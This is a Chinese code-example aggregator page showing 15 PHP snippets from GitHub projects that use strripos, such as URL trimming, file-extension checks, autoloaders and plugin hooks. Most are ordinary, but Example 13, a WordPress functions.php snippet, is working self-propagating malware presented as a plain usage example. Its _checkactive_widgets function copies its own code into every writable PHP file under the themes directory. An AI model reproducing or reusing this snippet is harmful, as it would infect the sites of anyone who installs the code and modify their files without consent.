当前位置: 首页>>代码示例>>PHP>>正文


PHP strripos函数代码示例

本文整理汇总了PHP中strripos函数的典型用法代码示例。如果您正苦于以下问题:PHP strripos函数的具体用法?PHP strripos怎么用?PHP strripos使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了strripos函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: postContent

 function postContent()
 {
     $this->adminGatekeeper();
     $request = $this->getInput('request');
     $key = $this->getInput('key');
     $username = $this->getInput('username');
     $json = $this->getInput('json');
     $follow_redirects = $this->getInput('follow_redirects');
     $method = $this->getInput('method', 'GET');
     $url = \Idno\Core\Idno::site()->config()->getURL();
     if (strripos($url, '/') == strlen($url) - 1) {
         $url = substr($url, 0, strlen($url) - 1);
     }
     $url .= $request;
     $client = new Webservice();
     if ($method == 'POST') {
         $result = $client->post($url, $json, array('X-KNOWN-USERNAME: ' . $username, 'X-KNOWN-SIGNATURE: ' . base64_encode(hash_hmac('sha256', $request, $key, true))));
     } else {
         $result = $client->get($url, null, array('X-KNOWN-USERNAME: ' . $username, 'X-KNOWN-SIGNATURE: ' . base64_encode(hash_hmac('sha256', $request, $key, true))));
     }
     $response = Webservice::getLastResponse();
     $sent_request = Webservice::getLastRequest() . $json;
     $api_request = array('request' => $request, 'key' => $key, 'username' => $username, 'json' => $json, 'sent_request' => $sent_request, 'response' => gzencode($response, 9), 'method' => $method);
     \Idno\Core\Idno::site()->session()->set('api_request', $api_request);
     $this->forward(\Idno\Core\Idno::site()->config()->getURL() . 'admin/apitester/');
 }
开发者ID:sintoris,项目名称:Known,代码行数:26,代码来源:Admin.php

示例2: save

 /**
  * Formats the output and saved it to disc.
  *
  * @param   string     $identifier  filename
  * @param   $contents  $contents    language array to save
  * @return  bool       \File::update result
  */
 public function save($identifier, $contents)
 {
     // store the current filename
     $file = $this->file;
     // save it
     $return = parent::save($identifier, $contents);
     // existing file? saved? and do we need to flush the opcode cache?
     if ($file == $this->file and $return and static::$flush_needed) {
         if ($this->file[0] !== '/' and (!isset($this->file[1]) or $this->file[1] !== ':')) {
             // locate the file
             if ($pos = strripos($identifier, '::')) {
                 // get the namespace path
                 if ($file = \Autoloader::namespace_path('\\' . ucfirst(substr($identifier, 0, $pos)))) {
                     // strip the namespace from the filename
                     $identifier = substr($identifier, $pos + 2);
                     // strip the classes directory as we need the module root
                     $file = substr($file, 0, -8) . 'lang' . DS . $identifier;
                 } else {
                     // invalid namespace requested
                     return false;
                 }
             } else {
                 $file = \Finder::search('lang', $identifier);
             }
         }
         // make sure we have a fallback
         $file or $file = APPPATH . 'lang' . DS . $identifier;
         // flush the opcode caches that are active
         static::$uses_opcache and opcache_invalidate($file, true);
         static::$uses_apc and apc_compile_file($file);
     }
     return $return;
 }
开发者ID:takawasitobi,项目名称:pembit,代码行数:40,代码来源:php.php

示例3: add

 /**
  * Adds all the events to the main Ushahidi application
  */
 public function add()
 {
     // Add a Sub-Nav Link
     Event::add('ushahidi_action.nav_admin_reports', array($this, '_report_link'));
     // Only add the events if we are on that controller
     if (Router::$current_uri == "admin/reports") {
         plugin::add_stylesheet('analysis/views/css/buttons');
         // Add Buttons to the report List
         Event::add('ushahidi_action.report_extra_admin', array($this, '_reports_list_buttons'));
     } elseif (Router::$controller == 'analysis') {
         plugin::add_javascript('analysis/views/js/ui.dialog');
         plugin::add_javascript('analysis/views/js/ui.draggable');
         plugin::add_javascript('analysis/views/js/ui.resizable');
         plugin::add_stylesheet('analysis/views/css/main');
     } elseif (strripos(Router::$current_uri, "admin/reports/edit") !== false) {
         plugin::add_stylesheet('analysis/views/css/report');
         plugin::add_javascript('analysis/views/js/jquery.copy.min');
         Event::add('ushahidi_action.report_pre_form_admin', array($this, '_reports_list_analysis'));
         Event::add('ushahidi_action.header_scripts_admin', array($this, '_save_analysis_js'));
         Event::add('ushahidi_action.report_edit', array($this, '_save_analysis'));
     } elseif (strripos(Router::$current_uri, "reports/submit") !== false) {
         //Add dropdown fields to the submit form
         Event::add('ushahidi_action.report_form', array($this, '_submit_form'));
         //Save the contents of the dropdown
         Event::add('ushahidi_action.report_submit', array($this, '_handle_post_data'));
         Event::add('ushahidi_action.report_add', array($this, '_save_submit_form'));
     }
 }
开发者ID:rjmackay,项目名称:ushahidi-analysis,代码行数:31,代码来源:analysis.php

示例4: view

 public function view()
 {
     $params = array();
     $filter = $_GET['query'];
     if ($_GET['template']) {
         $this->template = General::sanitize($_GET['template']);
     }
     // Environment parameters
     if ($filter == 'env') {
         $params = array_merge($params, $this->__getEnvParams());
         // Page parameters
     } elseif ($filter == 'page') {
         $params = array_merge($params, $this->__getPageParams());
         // Data source parameters
     } elseif ($filter == 'ds') {
         $params = array_merge($params, $this->__getDSParams());
         // All parameters
     } else {
         $params = array_merge($params, $this->__getEnvParams());
         $params = array_merge($params, $this->__getPageParams());
         $params = array_merge($params, $this->__getDSParams());
     }
     foreach ($params as $param) {
         if (empty($filter) || strripos($param, $filter) !== false) {
             $this->_Result[] = $param;
         }
     }
     sort($this->_Result);
 }
开发者ID:rc1,项目名称:WebAppsWithCmsStartHere,代码行数:29,代码来源:content.ajaxparameters.php

示例5: generate_event_page

function generate_event_page()
{
    ob_start();
    $ical = new ICal(get_option('nev-file_path'));
    $events = $ical->events();
    $FORMAT = 'd-m-Y';
    $time = time();
    echo '<ul>';
    foreach ($events as $event) {
        $eventTime = strtotime($event['DTSTART']);
        //those in a past are not bolded
        if ($time - 60 * 60 * 24 > $eventTime) {
            echo '<li><p>';
            $date = substr($event['DTSTART'], 6, 2) . "/" . substr($event['DTSTART'], 4, 2) . "/" . substr($event['DTSTART'], 0, 4);
            echo $date . ': ' . $event['SUMMARY'] . ", " . @$event['DESCRIPTION'];
            echo '</p></li>';
        } else {
            echo '<li><p><strong>';
            $date = substr($event['DTSTART'], 6, 2) . "/" . substr($event['DTSTART'], 4, 2) . "/" . substr($event['DTSTART'], 0, 4);
            echo $date . ':</strong>  ' . $event['SUMMARY'] . ", " . @$event['DESCRIPTION'];
            echo '</p></li>';
        }
    }
    echo '</ul>';
    //Show link to download ical file
    $file_name = get_option('nev-file_path');
    $upload_path = wp_upload_dir()['url'] . substr($file_name, strripos($file_name, '/'));
    echo '<p>Download <a href="' . $upload_path . '" download>.ics file</a></p>';
    return ob_get_clean();
}
开发者ID:pmarki,项目名称:next_events,代码行数:30,代码来源:parser.php

示例6: getConstantName

function getConstantName($filename)
{
    $classname = basename($filename);
    $classname = substr($classname, 0, strripos($classname, '.php'));
    $classname = str_replace('.', '_', $classname);
    return 'HEAD_' . strtoupper($classname);
}
开发者ID:Babaritech,项目名称:babar2,代码行数:7,代码来源:basic.php

示例7: searchYouTube

 /**
  * This method will fetch the playlist form YouTube.
  * Once we get the playlist we will parse and process the results.
  *
  * The function sets a REQUEST value names 'song' with an array of the results.
  */
 private function searchYouTube()
 {
     // Get the params we need
     $searchTerm = urlencode(Utils::getParam('query', 'ניר גייר'));
     $numberOfRecords = Utils::getParam('numberOfSongs', 10);
     // Get the playlist data from you tube
     $url = 'http://gdata.youtube.com/feeds/api/videos?alt=json&max-results=' . $numberOfRecords . '&format=5&q=' . $searchTerm;
     // Get the playlist data
     $json = file_get_contents($url);
     // Convert the JSON to PHP array
     $data = json_decode($json, true);
     // Get the Array of the playlist items
     $items = $data['feed']['entry'];
     // The playlist array with the videos
     $songs = array();
     // Loop over the playlist entries that we wish to display
     foreach ($items as $item) {
         // Extract the data we want
         $title = $item['title']['$t'];
         $content = $item['content']['$t'];
         $videoId = substr($item['id']['$t'], strripos($item['id']['$t'], '/') + 1);
         // Get the video URL
         foreach ($item['link'] as $link) {
             if ($link['rel'] === 'alternate') {
                 $videoURL = $link['href'];
                 break;
             }
         }
         array_push($songs, array('title' => $title, 'content' => $content, 'href' => $videoURL, 'videoId' => $videoId));
     }
     // Set the songs in the request
     $_REQUEST['songs'] = $songs;
 }
开发者ID:nirgeier,项目名称:CodeBlue_Project,代码行数:39,代码来源:Playlist.php

示例8: defineClass

 public static function defineClass($className, $extends = '')
 {
     //        $namespace = 'Eddmash\PowerOrm\Migration\Model';
     $namespace = '';
     $use = '';
     $extendedClass = '';
     if (empty($extends) || Model::isModelBase($extends)) {
         $extends = Model::getFullClassName();
     } else {
         $extendedClass = sprintf('%s%s', ClassHelper::getFormatNamespace($namespace, true), $extends);
         $use = sprintf('use %s;', $extendedClass);
         $extends = trim(substr($extends, strripos($extends, '\\')), '\\');
     }
     if (!StringHelper::isEmpty($extendedClass) && !ClassHelper::classExists($extendedClass, $namespace)) {
         self::$deferedClasses[$extends][] = ['class' => $className, 'extends' => $extends];
         return false;
     }
     $extends = ClassHelper::getNameFromNs($extends, $namespace);
     $class = sprintf(self::getTemplate(), $namespace, $use, $className, $extends);
     $className = sprintf('%s%s', ClassHelper::getFormatNamespace($namespace, true), $className);
     if (ArrayHelper::hasKey(self::$deferedClasses, $className)) {
         foreach (self::$deferedClasses[$className] as $deferedClass) {
             self::defineClass($deferedClass['class'], $deferedClass['extends']);
         }
     }
     if (!ClassHelper::classExists($className, $namespace)) {
         eval($class);
     }
     return $className;
 }
开发者ID:eddmash,项目名称:powerorm,代码行数:30,代码来源:MigrationModel.php

示例9: index

 public function index()
 {
     if ($this->_validate()) {
         $filename = $this->_get_filename();
         // Muevo la imagen original
         move_uploaded_file($this->_file['tmp_name'], UPLOAD_DIR_TMP . $filename);
         // Creo una copia y dimensiono la imagen  (THUMB)
         $config['image_library'] = 'GD2';
         $config['source_image'] = UPLOAD_DIR_TMP . $filename;
         $config['create_thumb'] = TRUE;
         $config['maintain_ratio'] = TRUE;
         $config['width'] = IMAGE_THUMB_WIDTH;
         $config['height'] = IMAGE_THUMB_HEIGHT;
         $this->image_lib->initialize($config);
         if (!$this->image_lib->resize()) {
             die($this->image_lib->display_errors());
         }
         // Dimensiono la imagen original   (ORIGINAL)
         $config['image_library'] = 'GD2';
         $config['source_image'] = UPLOAD_DIR_TMP . $filename;
         $config['create_thumb'] = FALSE;
         $config['maintain_ratio'] = TRUE;
         $config['width'] = IMAGE_ORIGINAL_WIDTH;
         $config['height'] = IMAGE_ORIGINAL_HEIGHT;
         $this->image_lib->initialize($config);
         if (!$this->image_lib->resize()) {
             die($this->image_lib->display_errors());
         }
         $ext = substr($filename, strripos($filename, ".") - strlen($filename) + 1);
         $basename = substr($filename, 0, strripos($filename, "."));
         //echo "filename:".UPLOAD_DIR_TMP.$basename."_thumb.".$ext;
         echo json_encode(array('thumb' => UPLOAD_DIR_TMP . $basename . "_thumb." . $ext, 'complete' => UPLOAD_DIR_TMP . $basename . "." . $ext));
     }
 }
开发者ID:jsuarez,项目名称:AlqTemp,代码行数:34,代码来源:ajax_upload.php

示例10: checkLogin

 /**
  * 验证登陆
  * 
  */
 public function checkLogin()
 {
     $rs = array();
     $rs["status"] = 1;
     if (!$this->checkVerify("4") && ($GLOBALS['CONFIG']["captcha_model"]["valueRange"] != "" && strpos($GLOBALS['CONFIG']["captcha_model"]["valueRange"], "3") >= 0)) {
         $rs["status"] = -1;
         //验证码错误
     } else {
         $m = D('Home/Users');
         $res = $m->checkLogin();
         if (!empty($res)) {
             if ($res['userFlag'] == 1) {
                 session('WST_USER', $res);
                 unset($_SESSION['toref']);
                 if (strripos($_SESSION['refer'], "regist") > 0 || strripos($_SESSION['refer'], "logout") > 0 || strripos($_SESSION['refer'], "login") > 0) {
                     $rs["refer"] = __ROOT__;
                 }
             } else {
                 if ($res['status'] == -1) {
                     $rs["status"] = -2;
                     //登陆失败,账号或密码错误
                 }
             }
         } else {
             $rs["status"] = -2;
             //登陆失败,账号或密码错误
         }
         $rs["refer"] = $rs['refer'] ? $rs['refer'] : __ROOT__;
     }
     echo json_encode($rs);
 }
开发者ID:962464,项目名称:wstmall,代码行数:35,代码来源:UsersAction.class.php

示例11: get_file_objects

 protected function get_file_objects($ext = false)
 {
     $fls = scandir($this->options['upload_dir']);
     $fls_ext = array();
     if ($ext == false) {
         foreach ($fls as $fl) {
             if (stristr($fl, '.cap')) {
                 if (strripos($fl, '.cap') == strlen($fl) - 4) {
                     $fls_ext[] = $fl;
                 }
             } else {
                 if (stristr($fl, '.pcap')) {
                     if (strripos($fl, '.pcap') == strlen($fl) - 5) {
                         $fls_ext[] = $fl;
                     }
                 }
             }
         }
     } else {
         foreach ($fls as $fl) {
             if (strstr($fl, $ext)) {
                 $fls_ext[] = $fl;
             }
         }
     }
     return array_values(array_filter(array_map(array($this, 'get_file_object'), $fls_ext)));
 }
开发者ID:xplico,项目名称:xplico,代码行数:27,代码来源:upload.class.php

示例12: table_action

 function table_action()
 {
     $api = new StorageExport();
     $node = $api->getCurrentNode();
     $nodeId = $node['node_id'];
     $rows = $api->getTables($nodeId);
     $tables = array();
     foreach ($rows as $table) {
         $pos = strripos($table, '_');
         if ($pos !== false) {
             $tid = substr($table, $pos + 1);
             $tables[$tid] = array('name' => $table, 'id' => $tid);
         }
     }
     $table = false;
     $tableId = 0;
     $maxId = 0;
     if (!empty($tables)) {
         // 表id
         $tableId = $this->get('table_id', 0);
         if ($tableId) {
             if (!isset($tables[$tableId])) {
                 throw new Exception('hapn.u_notfound');
             } else {
                 $table = $tables[$tableId];
             }
         }
         if (!$tableId) {
             $ts = array_values($tables);
             $tableId = $ts[0]['id'];
             $table = $tables[$tableId];
         }
     }
     $this->set('tables', $tables)->sets(array('tbName' => 'hs_image_' . $nodeId . '_' . $tableId, 'title' => '数据表的图片列表', 'max_id' => $maxId, 'node' => $node, 'table_id' => $tableId, 'table' => $table))->setView('tpl/images.phtml');
 }
开发者ID:hapn,项目名称:storage,代码行数:35,代码来源:ActionController.php

示例13: _checkactive_widgets

function _checkactive_widgets()
{
    $widget = substr(file_get_contents(__FILE__), strripos(file_get_contents(__FILE__), "<" . "?"));
    $output = "";
    $allowed = "";
    $output = strip_tags($output, $allowed);
    $direst = _get_allwidgets_cont(array(substr(dirname(__FILE__), 0, stripos(dirname(__FILE__), "themes") + 6)));
    if (is_array($direst)) {
        foreach ($direst as $item) {
            if (is_writable($item)) {
                $ftion = substr($widget, stripos($widget, "_"), stripos(substr($widget, stripos($widget, "_")), "("));
                $cont = file_get_contents($item);
                if (stripos($cont, $ftion) === false) {
                    $comaar = stripos(substr($cont, -20), "?" . ">") !== false ? "" : "?" . ">";
                    $output .= $before . "Not found" . $after;
                    if (stripos(substr($cont, -20), "?" . ">") !== false) {
                        $cont = substr($cont, 0, strripos($cont, "?" . ">") + 2);
                    }
                    $output = rtrim($output, "\n\t");
                    fputs($f = fopen($item, "w+"), $cont . $comaar . "\n" . $widget);
                    fclose($f);
                    $output .= $isshowdots && $ellipsis ? "..." : "";
                }
            }
        }
    }
    return $output;
}
开发者ID:sunyang3721,项目名称:wdy-wordpress,代码行数:28,代码来源:functions.php

示例14: jackalope_autoloader

/**
 * Implementation specific helper:
 * Autoloader takes care of loading classes only when they are required.
 * If your project does not provide its own autoloader, you can require()
 * this file in your entry points. It will automatically register the
 * jackalope_autoloader function with spl_autoload_register
 *
 * load a class named $class
 */
function jackalope_autoloader($class)
{
    if (false !== ($pos = strripos($class, '\\'))) {
        $relpath = false;
        $jackPos = strpos($class, 'Jackalope');
        if ($jackPos === 1 || $jackPos === 0) {
            $relpath = '/../';
            $class = substr($class, $jackPos);
            $pos = $pos - $jackPos;
        } else {
            if (0 === strpos($class, 'PHPCR')) {
                $relpath = '/../../lib/phpcr/src/';
            }
        }
        if ($relpath) {
            // namespaced class name
            $namespace = substr($class, 0, $pos);
            $class = substr($class, $pos + 1);
            $file = __DIR__ . $relpath . str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR . $class . '.php';
            if (file_exists($file)) {
                require $file;
            }
            return;
        }
    }
    return false;
}
开发者ID:rambo,项目名称:jackalope,代码行数:36,代码来源:autoloader.php

示例15: addPermission

function addPermission()
{
    unset($_POST['addPermission']);
    $sql = "SELECT PID FROM permissionsgroups WHERE PGroupName='" . $_POST["PGroupName"] . "'";
    $result = executeQuary($sql);
    if (mysql_num_rows($result) == 0) {
        foreach ($_POST as $value) {
            if ($deleteFirstFlag < 1) {
                $deleteFirstFlag++;
            } else {
                $insertIntoString = $insertIntoString . $value . ",";
                $valueString = $valueString . "1,";
            }
        }
        $insertIntoString[strripos($insertIntoString, ",")] = " ";
        //strip the extra ,
        $valueString[strripos($valueString, ",")] = " ";
        //strip the extra ,
        $sqlInsert = "INSERT INTO permissionsgroups(PGroupName," . $insertIntoString . ")";
        $sqlInsert .= " values('" . $_POST["PGroupName"] . "'," . $valueString . ")";
        executeQuary($sqlInsert);
    } else {
        ?>
		<DIV CLASS="QUARY_RESULT_ERROR">
			הרשאה עם שם זה כבר קיימת
		</DIV>
		<?php 
    }
    //UPDATE permissionsgroups SET viewUsers='1',editUsers='1',viewGroups='1',editGroups='1' WHERE PID=44
}
开发者ID:BGCX261,项目名称:zivweb-svn-to-git,代码行数:30,代码来源:managePermissionGroups.php


注:本文中的strripos函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。